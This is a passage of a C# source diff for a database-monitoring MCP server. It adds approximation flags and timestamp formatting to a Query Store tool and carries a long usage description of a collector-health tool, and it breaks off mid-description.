                     /* #2546: the sentence below GUESSES ("may not be enabled"), and it has to, because the
@@ -1076,7 +1397,7 @@ read had no way to find out. The store has known all along -- query_store_health
                        records actual_state per database every hour for exactly this purpose. Asking it turns
                        a hedge into a fact plus the ALTER DATABASE that fixes it, and it answers for the
                        database this read was scoped to rather than for the server's most flattering one. */
-                    ?? await DarlingRuntimePrecondition.QueryStoreStatusAsync(postgres, resolved.ServerId, resolved.ServerName, database_name, cancellationToken)
+                    ?? await DarlingRuntimePrecondition.QueryStoreStatusAsync(postgres, resolved.ServerId, resolved.ServerName, databases, cancellationToken)
                     /* And the collector's own last run, for the case Query Store is on and the collector is
                        the thing that cannot read it. */
                     ?? await DarlingRuntimePrecondition.StatusAsync(postgres, resolved.ServerId, resolved.ServerName, "query_store", cancellationToken)
@@ -1089,6 +1410,7 @@ the thing that cannot read it. */
                         "queries did not run.");
             }
 
+            var approximate = read.DailyDaysUsed > 0 && read.DailySpan is not null;
             var result = rows.Select(r => new
             {
                 database_name = r.DatabaseName,
@@ -1106,7 +1428,7 @@ the thing that cannot read it. */
                 avg_physical_reads = r.AvgPhysicalReads,
                 avg_rowcount = r.AvgRowcount,
                 last_execution_time = r.LastExecutionTime?.ToString("o"),
-                query_text = full_text ? r.QueryText : McpHelpers.Truncate(r.QueryText, previewLength),
+                query_text = full_text ? r.QueryText : McpHelpers.TruncateStatement(r.QueryText, previewLength),
                 query_text_truncated = !full_text && r.QueryText != null && r.QueryText.Length > previewLength,
                 /* Emitted because it is a grouping key: on a 2022+ AG the same query can appear once per
                    replica role, and without this the caller would see duplicate-looking rows with no way
@@ -1120,7 +1442,7 @@ to tell them apart. NULL when the server did not attribute the row. */
                 hours_back,
                 /* #2364: what was served, beside what was asked for. hours_back alone was a request echoed
                    back as though it described the data. */
-                effective_start = effectiveStart.ToString("o"),
+                effective_start = McpHelpers.FormatEffectiveStart(effectiveStart),
                 effective_hours_back = Math.Round((now - effectiveStart).TotalHours, 1),
                 /* Which tier answered. */
                 history_source = tablePlan is null ? "raw" : "interval_table",
@@ -1132,13 +1454,24 @@ it stops. The trend family renamed the same fact the same way (DarlingMcpTrendTo
                    WriteDisclosure); the census fails a bare `truncated` beside `effective_hours_back`. The note
                    beside it keeps its name: it is the prose for THIS flag, and `*_note` is the house idiom. */
                 window_truncated = truncated,
+                /* #5094: the daily summary answered whole days of this window, so the totals and the ranking are close,
+                   not exact. Always present, so a caller reads the flag rather than inferring it from a missing key. */
+                approximate = approximate,
+                approximation_note = approximate ? QueryStoreApproximationNote : null,
+                summary_days = approximate
+                    ? new
+                    {
+                        from = read.DailySpan!.Value.Start.ToString("yyyy-MM-dd", CultureInfo.InvariantCulture),
+                        to_exclusive = read.DailySpan!.Value.EndExclusive.ToString("yyyy-MM-dd", CultureInfo.InvariantCulture)
+                    }
+                    : null,
                 truncation_note = !truncated
                     ? null
                     : tablePlan is null
                         ? "The window reaches further back than this server's raw query_store_stats retains, so the "
                           + "older part of it was not read. This tool reads the raw tier only: the corrected rollups "
                           + "carry no query_id or plan_id, and plan identity is what it exists to return."
-                        : QueryStoreIntervalWide.HistoryNote(effectiveStart, tablePlan.Value.StartBound, manyServers: false),
+                        : QueryStoreTableNote(effectiveStart, tablePlan.Value.StartBound),
                 queries = result
             }, McpHelpers.JsonOptions);
         }
@@ -1148,6 +1481,17 @@ it stops. The trend family renamed the same fact the same way (DarlingMcpTrendTo
         }
     }
 
+    /// <summary>
+    /// #4966: <c>get_query_store_top</c>'s interval-table note, which names the window's start in the one text the
+    /// <c>effective_start</c> beside it prints (<see cref="McpHelpers.FormatEffectiveStart"/>: UTC, with the Z). The
+    /// start is formatted here, once, and handed to <see cref="QueryStoreIntervalWide.HistoryNote"/> as text, so the
+    /// field and the sentence cannot spell the instant two ways. The web shows the instant in the browser's zone by
+    /// finding the field's exact text in the note; a plain "o" of the interval table's naive floor has no Z, so the
+    /// note was drawn in bare UTC above a grid of local times.
+    /// </summary>
+    internal static string QueryStoreTableNote(DateTime effectiveStart, QueryStoreIntervalWide.WideStartBound bound) =>
+        QueryStoreIntervalWide.HistoryNote(McpHelpers.FormatEffectiveStart(effectiveStart), bound, manyServers: false);
+
     /* ═══════════════════════════ discovery / health ═══════════════════════════ */
 
     [McpServerTool(Name = "list_servers"), Description("Lists monitored servers with collection freshness status and last collection time. Darling has no live connection to monitored servers: status is derived from how recently each was collected (Online = fresh, Warning = stale, Offline = no recent collection). Lite's status IS a live connection check, independent of whether anything is being collected. <<GUIDE>> Use this first to see available servers before calling other tools. Lists all monitored servers — SQL Server and PostgreSQL — with their collection freshness status and last collection time. Each row says which engine it describes: engine_kind is the raw registry token (sqlserver, postgres, aurora-postgres; null when no connect has stamped the row — the same vocabulary get_fleet_overview uses) and engine_version is the engine-aware version label (\"SQL Server 2022\", \"PostgreSQL 18\", or \"Azure SQL Database\" / \"Azure SQL Managed Instance\" with no year for those two Azure platforms; empty when no version has been collected). sql_version is a DEPRECATED legacy alias carrying the same value as engine_version, kept so existing consumers keep working — read engine_version instead, and never infer the engine from that key's name: a PostgreSQL row's sql_version reads \"PostgreSQL 18\". The service has no live connection to the monitored servers, so status is derived from how recently each server was collected (Online = fresh, Warning = stale, Offline = no recent collection). The peer_fleets block names the SIBLING Darling stores that monitor the rest of a split fleet, with what each one covers — this server can only NAME them (no cross-store reads), and peer_note says what an empty peer_fleets does and does not prove.")]
@@ -1251,12 +1595,30 @@ a consumer keys on a field instead of parsing the label. */
         }, McpHelpers.JsonOptions);
     }
 
-    [McpServerTool(Name = "get_collection_health"), Description("Per-collector 7-day health for a server. STOPPED (gate off) does not count as failing; rows_stored=0 is NOT a fault by itself — output_finding says whether it is a resting event-collector or a denial needing a grant. last_error is a sticky slot, not necessarily current: check last_error_at/denied_since_last_success. regressed_from_productive floors WARNING on an axis SEPARATE from failed_collector_count — never add them. alert_read_health uses a DIFFERENT since-restart window, not this one; zero there means none since restart, not none in 7 days. <<GUIDE>> Shows the health status of all data collectors for a server — whether they're running successfully, failing, or stale. A collector reads STOPPED rather than FAILING when it has attempted nothing at all — no success, no error, nothing — for longer than the FAILING cutoff, despite a history of runs: that is a collector whose gate (AppliesTo) flipped off for this target rather than one that keeps running and erroring, and it does not count toward a server's failing-collector total. A collector reads EXTENSION_MISSING when every attempt in the window was skipped because a PostgreSQL extension it declares is not installed on the target - last_error names the extension, CREATE EXTENSION (plus shared_preload_libraries and a restart where the message says so) is the remedy, never a grant, and an optional extension left uninstalled is a legitimate resting state rather than a fault. That last reading holds ONLY for a collector that never produced on this target, and regressed_from_productive is the field that tells you which one you are looking at: it is true when this collector WAS storing rows and has reported a named skip - EXTENSION_MISSING, PERMISSIONS or SESSION_MISSING - on every cycle since. That is a restart or an upgrade changing what the collector can read, which is a regression rather than rest, and it is not something the band can tell you on its own: the skip bands are reached only when the whole window holds no success, so a collector that regressed inside the last day still has a fresh success, reads HEALTHY on the ordinary staleness ladder, and is floored to WARNING by this flag alone. last_productive_at is when this collector last stored anything, rows_in_prior_7d is how much it stored over this seven-day window and is served only when the flag is true (only then is that figure entirely pre-regression, because a named skip stores nothing), and regression_finding is the sentence that puts the three facts in the order they happened. The flag is also true for the second regression class: a collector that WAS storing rows and has recorded SUCCESS with zero rows on its last three runs, which no skip word or staleness reading can show. A collector whose rows exist only while the target is busy (waiting_tasks, query_snapshots, running_jobs, job_history, procedure_stats, pg_lock_stats, pg_session_states) must also have gone 72 hours without a row, because an idle target legitimately returns nothing for that long, and query_store must have gone just over a day, its longest Query Store interval. get_fleet_overview counts the same rows per server as regressed_collector_count. That count is a SEPARATE AXIS from failed_collector_count and the two must never be added: one regression reads WARNING on its first day and FAILING once its success clock runs out, and is regressed on both. Check this before investigating data to ensure collectors are working properly. Each row also carries last_note/note_count: what a NON-failing run reported, e.g. an enumeration that came back with 0 items. For a note without counts, note_count equal to total_runs means the collector has been collecting nothing all window — not a fault (the target may be legitimately empty), but the reason a HEALTHY collector can still have no data; when last_note carries label=value counts it is the newest NOTED run's counts and never a window total, and note_count equal to total_runs then says only that every run measured itself. target_has_user_databases tells those two apart: true means the target DID have user databases in the same window, so an all-window empty enumeration is worth investigating (a login that cannot enter them, an exclusion filter that matched everything, a databases scope on the collector's schedule row that admits nothing - the last a Darling-only schedule knob); false means either no user databases or no inventory to go on. Each row also carries abandoned and abandon_rate_pct: cycles the 120-second whole-server wall-clock budget gave up on, which stored nothing and advanced no watermark. Unlike a yield, which retries, an abandoned cycle is collected data you do not have. A rate above 0.5% bands the collector WARNING, so a WARNING here may have nothing to do with errors - read abandoned beside errors to attribute it. CRITICAL for reading last_error: it is a single slot carrying the newest ERROR, PERMISSIONS, or EXTENSION_MISSING message in the whole window, and a message in it is NOT evidence that the condition is current. Read last_error_at for when it happened, last_denied_at for when the newest DENIAL specifically happened, and denied_since_last_success for the derived answer - true means a denial is the collector's current state, false means every denial in the window predates a later success and the collector is reading fine now. A fault recorded before a code path changed will sit in last_error for the rest of the window while every cycle since succeeds. Do not infer a live condition from last_error alone. Total abandonment still reads FAILING through staleness; the rate exists for the partial case, where a collector abandons some cycles and succeeds often enough to stay fresh, which otherwise read HEALTHY with errors 0 indefinitely. The sweep_pressure block is the server-level roll-up: it compares the collectors' combined execution demand (average duration amortized by cadence) against the minute the fastest cadence holds. SATURATED means the collection body cannot fit inside its cadence, so relaunches are skipped and the server collects at a multiple of its configured interval while every collector still reads healthy — heaviest_collectors names where that budget goes. That verdict is the SUSTAINED answer only. peak_cycle_risk is the separate single-sweep answer: peak_cycle_ms is what the body costs on the cycle where every scheduled cadence comes due together, and BODY_OVERRUN means that one body cannot fit the budget even when the verdict reads OK — the signature of one infrequent heavy collector, which amortization hides and heaviest_collectors therefore ranks out of sight. peak_collector names it, and peak_cycle_note explains it. Read both fields: a server can be OK/BODY_OVERRUN (a schedule-shape problem, fix by moving or splitting that collector) or SATURATED/BODY_OVERRUN (a capacity problem). Every collector row carries avg_duration_ms, p95_duration_ms and max_duration_ms, because a collector's runs are not always one population. Read the three together: avg close to p95 close to max is one population, avg far below p95 is two, and p95 far below max is one pathological run. peak_cycle_ms is built from p95 (floored at the mean, so it can never read lower than a mean-based figure) for exactly that reason, and peak_collector carries peak_run_ms beside avg_duration_ms so the gap is visible. Those three still describe RUNS, and a collector that runs once per DATABASE writes one blended row, so no run-level statistic can say which database cost what. Five fan out from an enumeration on any SQL Server target (query_store, plan_correction, query_store_health, index_object_stats, database_scoped_config); separately, eleven more fan out over a per-database connection loop when the target is Azure SQL DB, and pg_autovacuum_stats always does on PostgreSQL. The per-collector `fanout` block is that answer, null for a collector that does not fan out: `items` is how wide the fan-out was, `slowest`/`slowest_ms` name the dearest database and its cost on the window's worst run, `run_ms` is that whole run, `slowest_share_pct` is slowest_ms / run_ms as a percentage — the slowest item's share of the whole pass — and `dominance` is slowest_ms * items / run_ms, the slowest item against the MEAN item: 1.0 for a perfectly even fan-out, rising with concentration. The remediation decision routes through the SHARE, not through dominance: a low share means the cost is the fan-out's WIDTH — no single database is worth chasing, and bounded parallelism is the lever — while a high share means one database dominates the pass and a per-database schedule override or a stagger is what helps. Dominance is NOT that verdict, because its ceiling is items. A fixed threshold on dominance misreads exactly the widest fan-outs, where the cost lives. Dominance only reads as dominance when it approaches a meaningful fraction of items (share = dominance / items); it stays published as the evenness ratio, for continuity. Do not try to infer any of this from p95 versus avg — on a per-database collector that ratio is usually saturated by empty-versus-productive runs and says nothing about databases. Every field named so far describes what a collector SPENT; rows_stored, runs_with_rows and productive_run_pct are what it BOUGHT, counted over the same window as total_runs and the durations, so cost and output on a row always describe the same runs. Read them together for the readings that need different actions: rows_stored above zero is expensive AND productive; rows_stored zero with denied_since_last_success false, no faulted run and no note is a collector that read and found nothing, which for one that stores a row only when an event occurs (e.g. deadlocks, blocked_process_report, pg_blocking, pg_xmin_horizon) is the correct resting state and needs no action; rows_stored zero with denied_since_last_success true is a collector that could not read and needs a grant. output_finding says which zero reading applies and is null whenever rows_stored is positive. There are five, in the order they are decided: a current denial is the grant case; errors plus session_missing above zero means that many runs recorded a fault rather than a result, so on those runs the collector was UNABLE to read and the resting-state reading is withheld for the whole window (every run faulted is nothing read at all and needs action - the case an Azure SQL DB target produced when two collectors failed on every database every sweep and were recorded SUCCESS with a sentence saying they had read and found nothing); note_count above zero means the runs themselves recorded what they found, so the finding defers to last_note instead of assuming a category - which is what keeps a DELIBERATE zero distinguishable from a collector that quietly stopped storing rows; nothing on the row explaining the zero from an event collector is that collector at rest; and the same from a collector that is NOT event-triggered - a configuration or snapshot read such as database_scoped_config, which returns a row per setting per database - is its source coming back empty on every run, which is not a resting state and the finding says needs a look. The event-collector set is a closed list on the shared classifier, so a collector left off it gets the non-reassuring sentence rather than the reassuring one. query_store on a read-replica target is the deliberate case: it is not an event collector, and every run notes an empty enumeration because Query Store on a readable secondary is excluded by design. This is deliberately NOT a band. A verdict keyed on cost-plus-zero-rows would fire on the healthy quiet install rather than the blind one. These are NOT the hourly per-collector series Darling's get_collector_cost reports as total_rows - a separate series over that caller's own days_back and across every server at once, and Darling-only, so Lite has no twin of it; the top-level output_note names both windows and disclaims that one. rows_stored is also what a run STORED, never what the monitored engine counted, so a zero cannot tell a genuinely quiet source apart from a reader capturing nothing off a busy one - nothing on this surface measures that. One block on this response is deliberately NOT on the seven-day window: alert_read_health, which counts the alerting layer's OWN store reads that failed and were swallowed. A condition check that cannot read the store logs one line and skips - correctly, because firing on absent evidence would fabricate an alert and resolving on it would fabricate a recovery - and that skip is not a collector run, so it writes no collection_log row and reaches no other health surface: only a grep of the service log found the class. It matters out of proportion to the count because the alert pass runs on a much shorter store deadline than the collection sweep, so as store latency rises the alerting layer is the FIRST thing to fail and collection is the last - during one measured episode of store lock contention the service log's error rate rose 41 to 61 per hour, every line an alerting-side read, while collector failures over the same hours FELL from 23 to 2. Read server_read_failures beside server_alert_passes for this server (a pass is one alert evaluation pass containing many reads, so more failures than passes is ordinary and the pair is NOT a ratio; a Darling sweep runs two passes for a SQL Server target, three for a PostgreSQL one, and Lite runs one, so the denominator is comparable within a host and engine but not across them), instance_read_failures for the whole service (which also covers the fleet-scoped conditions that belong to no server and so appear in no per-server count: " + AlertReadFailureCounter.FleetScopedReads + "), fleet_read_failures for how many of that service total belong to no server at all - the figure that makes a nonzero service count readable from a server whose own count is zero, because those two populations take opposite actions: a blind fleet-scoped read means the store's own self-alerts went quiet and two of them are the reads whose alerts would say the store is in trouble, while one on another server is answered by reading this same block there, last_failure_read for which condition went blind most recently, last_failure_elapsed_ms for how long that read ran before it faulted - which is the term that says whose deadline ended it ONLY WHERE THE ALERT PASS SETS ONE. The Darling service does, on every store read; Lite's alerting reads go into its local store with no command deadline at all, so on Lite this is a plain duration that says a read became slow and nothing about who ended it. Where there is a deadline: an elapsed at or about it means this process stopped waiting while the statement was still running on the store, one well below that bound means the store returned a fault, and the exception text cannot make that distinction because a client-side deadline renders as a torn stream with no SQLSTATE exactly like a dropped connection. A figure well ABOVE the bound is a third reading: the failure was not a single bounded read, which each site's clock restart between consecutive awaits makes rare and which is expected only on the shared engine sweep entry, whose awaited operation is a whole alert pass - and last_failure_at to tell a healed episode from a live one: this count never ages out of a window, so a nonzero value with a stamp from days ago is history. Every count on this block carries its own newest-failure stamp, read name and elapsed, so none of them sits undated: last_failure_* are THIS server's, fleet_last_failure_* are the fleet-scoped conditions' and are attributable by construction, and instance_last_failure_* are the newest failure anywhere in this service whatever its scope - that last trio may therefore name a read on a server you did not ask about and makes no claim about which, which is why the fleet trio is reported separately rather than inferred from it. The third population is a subtraction: instance_read_failures minus server_read_failures minus fleet_read_failures is how many failed on OTHER servers, and that one has no stamp here by design - nothing holds a newest failure for it, and a count with nothing to date or name it is the gap the three trios close, so read this block on those servers to attribute it. retried_reads is the SECOND population and on the Darling service is where most of what this block used to count now lands: reads that crossed the 10 s alert-pass deadline once and succeeded on the single retry two seconds later - the store's write bands' cost, counted rather than blinding an alert. Every one of those would once have been a swallowed failure, so read the two together: retries rising with failures at zero is a store under write pressure whose alerting is intact, and both rising is a store where a second attempt twelve seconds later still found the band on, which wants the store's write schedule looked at rather than the reader's. A read that failed twice counts in both. It carries no stamp and no read name, deliberately - a retried read did not go blind, so there is no episode to date or attribute, and a stamp would invite reading a retry as a soft failure. instance_retried_reads is the same figure across the whole service, with no fleet part because nothing records a fleet-scoped retry today. On Lite both read zero as a property of the SKU and not of a quiet store: Lite's alerting reads carry no command deadline, so there is no deadline to cross and nothing to retry. counting_since is when this process began counting, early in its own startup - these are in-memory counts and a restart takes them to zero, so a zero means \"none since counting_since\" and NOT \"none in seven days\"; check the stamp before reading the zero as reassurance. Deliberately not persisted, because what it counts is a failure to READ the store. It does NOT count alerts that failed to DELIVER and makes no claim about them - that is get_alert_history's question. And deliberately not a band, for the same reason the output figures are not: any threshold over it would have to guess how many blind reads make alerting unhealthy, and a wrong guess on this particular surface fails by saying nothing is wrong. The service block beside alert_read_health is the build-attribution read: nothing else on this surface says WHAT build is answering, so the question an operator watching an install actually asks - \"is the running service the build that carries fix X\" - is answered by version directly instead of by restart inference plus a merge-list lookup the watcher has no way to perform. version is the running build's informational version - the same read the Darling service's --version verb prints, with any SemVer build-metadata suffix stripped and the prerelease suffix KEPT, because the nightly stamp lives in the prerelease and one nightly differs from the next in nothing else; Lite has no version verb and reads the same attribute off its own app assembly, stamped from the same single declaration. counting_since remains the restart detector, and a restart is NOT a build: a crash-restart moves counting_since exactly the way an install does, which is why inferring a build from it misattributes. started_at is the SAME instant counting_since carries, deliberately - both mean \"when this process came up\", and a second clock for one fact would put two near-identical stamps on one payload whose skew a reader would have to explain away. compiled_schema_version is the schema rung this BUILD expects - the compiled constant, not a read of the store's migrated rung - so beside version it says what this build requires of the store it serves, whether or not that store has caught up. When a recent analysis pass could not read one of its fact families for this server, the payload also carries analysis_caveats (analysis_time, families_failed, families_total, entries[{family, read, outcome, message, failed_in_last_passes}]) — the analysis pass's own reads of the collectors' tables, a different layer from the collector rows; absent when the last 24 remembered passes were clean. Process memory: a service restart forgets. full_detail (#4198): every collector row above defaults to a compact shape - collector, status, compact, total_runs, rows_stored, avg_duration_ms, last_success - for a collector that is HEALTHY with zero errors, session_missing, extension_missing, permission_denied and abandoned runs this window, not regressed, and either stored rows or is a known event collector reading zero at rest. Any other row - failing, stale, stopped, erroring, denied, regressed, or a non-event collector's unexplained zero - is never dropped and never silently shortened to that seven-field shape: it gets partial_detail: true instead of compact, and a leaner shape naming what is wrong and since when - collector, status, partial_detail, total_runs, errors, session_missing, abandoned, rows_stored, last_success, last_error, last_error_truncated, last_error_at, last_denied_at, denied_since_last_success, regressed_from_productive, regression_finding, output_finding, output_finding_truncated - rather than every field named earlier in this guide. Pass full_detail=true for every field on every row regardless of health or tier. collector_detail_note on the envelope names how many rows compacted, how many took the leaner shape, and how full_detail restores each.")]
-    public static async Task<string> GetCollectionHealth(
+    [McpServerTool(Name = "get_collection_health"), Description("Per-collector 7-day health for a server. STOPPED (gate off) does not count as failing; rows_stored=0 is NOT a fault by itself — output_finding says whether it is a resting event-collector or a denial needing a grant. last_error is a sticky slot, not necessarily current: check last_error_at/denied_since_last_success. regressed_from_productive floors WARNING on an axis SEPARATE from failed_collector_count — never add them. alert_read_health uses a DIFFERENT since-restart window, not this one; zero there means none since restart, not none in 7 days. <<GUIDE>> Shows the health status of all data collectors for a server — whether they're running successfully, failing, or stale. A collector reads STOPPED rather than FAILING when it has attempted nothing at all — no success, no error, nothing — for longer than the FAILING cutoff, despite a history of runs: that is a collector whose gate (AppliesTo) flipped off for this target rather than one that keeps running and erroring, and it does not count toward a server's failing-collector total. A collector reads EXTENSION_MISSING when every attempt in the window was skipped because a PostgreSQL extension it declares is not installed on the target - last_error names the extension, CREATE EXTENSION (plus shared_preload_libraries and a restart where the message says so) is the remedy, never a grant, and an optional extension left uninstalled is a legitimate resting state rather than a fault. That last reading holds ONLY for a collector that never produced on this target, and regressed_from_productive is the field that tells you which one you are looking at: it is true when this collector WAS storing rows and has reported a named skip - EXTENSION_MISSING, PERMISSIONS or SESSION_MISSING - on every cycle since. That is a restart or an upgrade changing what the collector can read, which is a regression rather than rest, and it is not something the band can tell you on its own: the skip bands are reached only when the whole window holds no success, so a collector that regressed inside the last day still has a fresh success, reads HEALTHY on the ordinary staleness ladder, and is floored to WARNING by this flag alone. last_productive_at is when this collector last stored anything, rows_in_prior_7d is how much it stored over this seven-day window and is served only when the flag is true (only then is that figure entirely pre-regression, because a named skip stores nothing), and regression_finding is the sentence that puts the three facts in the order they happened. The flag is also true for the second regression class: a collector that WAS storing rows and has recorded SUCCESS with zero rows on its last three runs, which no skip word or staleness reading can show. A collector whose rows exist only while the target is busy (waiting_tasks, query_snapshots, running_jobs, job_history, procedure_stats, pg_lock_stats, pg_session_states) must also have gone 72 hours without a row, because an idle target legitimately returns nothing for that long, and query_store must have gone just over a day, its longest Query Store interval. get_fleet_overview counts the same rows per server as regressed_collector_count. That count is a SEPARATE AXIS from failed_collector_count and the two must never be added: one regression reads WARNING on its first day and FAILING once its success clock runs out, and is regressed on both. Check this before investigating data to ensure collectors are working properly. Each row also carries last_note/note_count: what a NON-failing run reported, e.g. an enumeration that came back with 0 items. For a note without counts, note_count equal to total_runs means the collector has been collecting nothing all window — not a fault (the target may be legitimately empty), but the reason a HEALTHY collector can still have no data; when last_note carries label=value counts it is the newest NOTED run's counts and never a window total, and note_count equal to total_runs then says only that every run measured itself. target_has_user_databases tells those two apart: true means the target DID have user databases in the same window, so an all-window empty enumeration is worth investigating (a login that cannot enter them, an exclusion filter that matched everything, a databases scope on the collector's schedule row that admits nothing - the last a Darling-only schedule knob); false means either no user databases or no inventory to go on. Each row also carries abandoned and abandon_rate_pct: cycles the 120-second whole-server wall-clock budget gave up on, which stored nothing and advanced no watermark. Unlike a yield, which retries, an abandoned cycle is collected data you do not have. A rate above 0.5% bands the collector WARNING, so a WARNING here may have nothing to do with errors - read abandoned beside errors to attribute it. CRITICAL for reading last_error: it is a single slot carrying the newest ERROR, PERMISSIONS, or EXTENSION_MISSING message in the whole window, and a message in it is NOT evidence that the condition is current. Read last_error_at for when it happened, last_denied_at for when the newest DENIAL specifically happened, and denied_since_last_success for the derived answer - true means a denial is the collector's current state, false means every denial in the window predates a later success and the collector is reading fine now. A fault recorded before a code path changed will sit in last_error for the rest of the window while every cycle since succeeds. Do not infer a live condition from last_error alone. Total abandonment still reads FAILING through staleness; the rate exists for the partial case, where a collector abandons some cycles and succeeds often enough to stay fresh, which otherwise read HEALTHY with errors 0 indefinitely. The sweep_pressure block is the server-level roll-up: it compares the collectors' combined execution demand (average duration amortized by cadence) against the minute the fastest cadence holds. SATURATED means the collection body cannot fit inside its cadence, so relaunches are skipped and the server collects at a multiple of its configured interval while every collector still reads healthy — heaviest_collectors names where that budget goes. That verdict is the SUSTAINED answer only. peak_cycle_risk is the separate single-sweep answer: peak_cycle_ms is what the body costs on the cycle where every scheduled cadence comes due together, and BODY_OVERRUN means that one body cannot fit the budget even when the verdict reads OK — the signature of one infrequent heavy collector, which amortization hides and heaviest_collectors therefore ranks out of sight. peak_collector names it, and peak_cycle_note explains it. Read both fields: a server can be OK/BODY_OVERRUN (a schedule-shape problem, fix by moving or splitting that collector) or SATURATED/BODY_OVERRUN (a capacity problem). Every collector row carries avg_duration_ms, p95_duration_ms and max_duration_ms, because a collector's runs are not always one population. Read the three together: avg close to p95 close to max is one population, avg far below p95 is two, and p95 far below max is one pathological run. peak_cycle_ms is built from p95 (floored at the mean, so it can never read lower than a mean-based figure) for exactly that reason, and peak_collector carries peak_run_ms beside avg_duration_ms so the gap is visible. Those three still describe RUNS, and a collector that runs once per DATABASE writes one blended row, so no run-level statistic can say which database cost what. Five fan out from an enumeration on any SQL Server target (query_store, plan_correction, query_store_health, index_object_stats, database_scoped_config); separately, eleven more fan out over a per-database connection loop when the target is Azure SQL DB, and pg_autovacuum_stats always does on PostgreSQL. The per-collector `fanout` block is that answer, null for a collector that does not fan out: `items` is how wide the fan-out was, `slowest`/`slowest_ms` name the dearest database and its cost on the window's worst run, `run_ms` is that whole run, `slowest_share_pct` is slowest_ms / run_ms as a percentage — the slowest item's share of the whole pass — and `dominance` is slowest_ms * items / run_ms, the slowest item against the MEAN item: 1.0 for a perfectly even fan-out, rising with concentration. The remediation decision routes through the SHARE, not through dominance: a low share means the cost is the fan-out's WIDTH — no single database is worth chasing, and bounded parallelism is the lever — while a high share means one database dominates the pass and a per-database schedule override or a stagger is what helps. Dominance is NOT that verdict, because its ceiling is items. A fixed threshold on dominance misreads exactly the widest fan-outs, where the cost lives. Dominance only reads as dominance when it approaches a meaningful fraction of items (share = dominance / items); it stays published as the evenness ratio, for continuity. Do not try to infer any of this from p95 versus avg — on a per-database collector that ratio is usually saturated by empty-versus-productive runs and says nothing about databases. Every field named so far describes what a collector SPENT; rows_stored, runs_with_rows and productive_run_pct are what it BOUGHT, counted over the same window as total_runs and the durations, so cost and output on a row always describe the same runs. Read them together for the readings that need different actions: rows_stored above zero is expensive AND productive; rows_stored zero with denied_since_last_success false, no faulted run and no note is a collector that read and found nothing, which for one that stores a row only when an event occurs (e.g. deadlocks, blocked_process_report, pg_blocking, pg_xmin_horizon) is the correct resting state and needs no action; rows_stored zero with denied_since_last_success true is a collector that could not read and needs a grant. output_finding says which zero reading applies and is null whenever rows_stored is positive. There are five, in the order they are decided: a current denial is the grant case; errors plus session_missing above zero means that many runs recorded a fault rather than a result, so on those runs the collector was UNABLE to read and the resting-state reading is withheld for the whole window (every run faulted is nothing read at all and needs action - the case an Azure SQL DB target produced when two collectors failed on every database every sweep and were recorded SUCCESS with a sentence saying they had read and found nothing); note_count above zero means the runs themselves recorded what they found, so the finding defers to last_note instead of assuming a category - which is what keeps a DELIBERATE zero distinguishable from a collector that quietly stopped storing rows; nothing on the row explaining the zero from an event collector is that collector at rest; and the same from a collector that is NOT event-triggered - a configuration or snapshot read such as database_scoped_config, which returns a row per setting per database - is its source coming back empty on every run, which is not a resting state and the finding says needs a look. The event-collector set is a closed list on the shared classifier, so a collector left off it gets the non-reassuring sentence rather than the reassuring one. query_store on a read-replica target is the deliberate case: it is not an event collector, and every run notes an empty enumeration because Query Store on a readable secondary is excluded by design. This is deliberately NOT a band. A verdict keyed on cost-plus-zero-rows would fire on the healthy quiet install rather than the blind one. These are NOT the hourly per-collector series Darling's get_collector_cost reports as total_rows - a separate series over that caller's own days_back and across every server at once, and Darling-only, so Lite has no twin of it; the top-level output_note names both windows and disclaims that one. rows_stored is also what a run STORED, never what the monitored engine counted, so a zero cannot tell a genuinely quiet source apart from a reader capturing nothing off a busy one - nothing on this surface measures that. One block on this response is deliberately NOT on the seven-day window: alert_read_health, which counts the alerting layer's OWN store reads that failed and were swallowed. A condition check that cannot read the store logs one line and skips - correctly, because firing on absent evidence would fabricate an alert and resolving on it would fabricate a recovery - and that skip is not a collector run, so it writes no collection_log row and reaches no other health surface: only a grep of the service log found the class. It matters out of proportion to the count because the alert pass runs on a much shorter store deadline than the collection sweep, so as store latency rises the alerting layer is the FIRST thing to fail and collection is the last - during one measured episode of store lock contention the service log's error rate rose 41 to 61 per hour, every line an alerting-side read, while collector failures over the same hours FELL from 23 to 2. Read server_read_failures beside server_alert_passes for this server (a pass is one alert evaluation pass containing many reads, so more failures than passes is ordinary and the pair is NOT a ratio; a Darling sweep runs two passes for a SQL Server target, three for a PostgreSQL one, and Lite runs one, so the denominator is comparable within a host and engine but not across them), instance_read_failures for the whole service (which also covers the fleet-scoped conditions that belong to no server and so appear in no per-server count: " + AlertReadFailureCounter.FleetScopedReads + "), fleet_read_failures for how many of that service total belong to no server at all - the figure that makes a nonzero service count readable from a server whose own count is zero, because those two populations take opposite actions: a blind fleet-scoped read means the store's own self-alerts went quiet and two of them are the reads whose alerts would say the store is in trouble, while one on another server is answered by reading this same block there, last_failure_read for which condition went blind most recently, last_failure_elapsed_ms for how long that read ran before it faulted - which is the term that says whose deadline ended it ONLY WHERE THE ALERT PASS SETS ONE. The Darling service does, on every store read; Lite's alerting reads go into its local store with no command deadline at all, so on Lite this is a plain duration that says a read became slow and nothing about who ended it. Where there is a deadline: an elapsed at or about it means this process stopped waiting while the statement was still running on the store, one well below that bound means the store returned a fault, and the exception text cannot make that distinction because a client-side deadline renders as a torn stream with no SQLSTATE exactly like a dropped connection. A figure well ABOVE the bound is a third reading: the failure was not a single bounded read, which each site's clock restart between consecutive awaits makes rare and which is expected only on the shared engine sweep entry, whose awaited operation is a whole alert pass - and last_failure_at to tell a healed episode from a live one: this count never ages out of a window, so a nonzero value with a stamp from days ago is history. Every count on this block carries its own newest-failure stamp, read name and elapsed, so none of them sits undated: last_failure_* are THIS server's, fleet_last_failure_* are the fleet-scoped conditions' and are attributable by construction, and instance_last_failure_* are the newest failure anywhere in this service whatever its scope - that last trio may therefore name a read on a server you did not ask about and makes no claim about which, which is why the fleet trio is reported separately rather than inferred from it. The third population is a subtraction: instance_read_failures minus server_read_failures minus fleet_read_failures is how many failed on OTHER servers, and that one has no stamp here by design - nothing holds a newest failure for it, and a count with nothing to date or name it is the gap the three trios close, so read this block on those servers to attribute it. retried_reads is the SECOND population and on the Darling service is where most of what this block used to count now lands: reads that crossed the 10 s alert-pass deadline once and succeeded on the single retry two seconds later - the store's write bands' cost, counted rather than blinding an alert. Every one of those would once have been a swallowed failure, so read the two together: retries rising with failures at zero is a store under write pressure whose alerting is intact, and both rising is a store where a second attempt twelve seconds later still found the band on, which wants the store's write schedule looked at rather than the reader's. A read that failed twice counts in both. It carries no stamp and no read name, deliberately - a retried read did not go blind, so there is no episode to date or attribute, and a stamp would invite reading a retry as a soft failure. instance_retried_reads is the same figure across the whole service, with no fleet part because nothing records a 